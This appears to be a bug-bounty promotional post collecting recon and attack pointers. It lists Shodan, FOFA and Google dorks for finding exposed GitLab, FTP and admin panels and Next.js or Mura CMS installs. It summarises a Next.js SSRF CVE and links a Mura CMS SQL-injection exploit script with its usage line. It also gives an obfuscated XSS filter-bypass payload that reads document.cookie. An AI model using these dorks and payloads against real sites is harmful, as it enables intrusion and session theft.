shodan dorks for recon :

1. http://ssl.cert.subject.CN:"*.target.com" http.title:"index of/"

2. http://ssl.cert.subject.CN:"*.target.com" http.title:"gitlab"

3. http://ssl.cert.subject.CN:"*. http://target.com" http.title:"gitlab"

4. http://ssl.cert.subject.CN:"*.target.com" "230 login successful" port:"21"

5. http://ssl.cert.subject.CN:"*. http://target.com" +200 http.title:"Admin"

🚨CVE-2024-34351:Next.js SSRF in Server Actions🚨

📢 Security researchers at Assetnote have identified a SSRF vulnerability in Next.js Server Actions. If the Host header is modified, and certain conditions are met, an attacker may be able to make requests that appear to be originating from the Next.js application server itself.

📝Dorks--->
Hunter:/product.name="Next.js"
FOFA:app="Next.js"
SHODAN:http.component:"Next.js"

🔗PoC: https://lnkd.in/gKbjiHVY

⚠Stay vigilant and take necessary precautions to protect your applications.

🚨SQLMC - SQL Injection Massive Checker🚨

📢SQLMC (SQL Injection Massive Checker) is a tool designed to scan a domain for SQL injection vulnerabilities. It crawls the given URL up to a specified depth, checks each link for SQL injection vulnerabilities, and reports its findings.

🔗Download https://github.com/malvads/sqlmc

Bypass XSS Filter with Array

Payload :

<noscript><p title="</noscript><img src=x onerror=([,O,B,J,E,C,,]=[]+{},[T,R,U,E,F,A,L,S,,,N]=[!!O]+!O+B.E)[X=C+O+N+S+T+R+U+C+T+O+R][X](A+L+E+R+T+(document.cookie))()>">

Answer is NULL Session

🚨Muraider - Automating the detection & Exploitation of CVE-2024-32640 SQLi in Mura/Masa CMS🚨

⚠Usage- python3 CVE-2024-32640.py --url https://target.com

👉Dorks-
Shodan-query: 'Generator: Masa CMS'
Google: "powered by Mura CMS"
FOFA: app="Mura-CMS"

🔗Link- https://github.com/Stuub/CVE-2024-32640-SQLI-MuraCMS

👉References:
https://buff.ly/3WKUzc9
https://buff.ly/3WJh1SY

📢For Live Class Enrollment DM in Whatsapp- https://buff.ly/3wOME2W
📝Join Our Telegram- https://buff.ly/3yi0H1o
📝Join Our Community- https://zurl.co/6G4I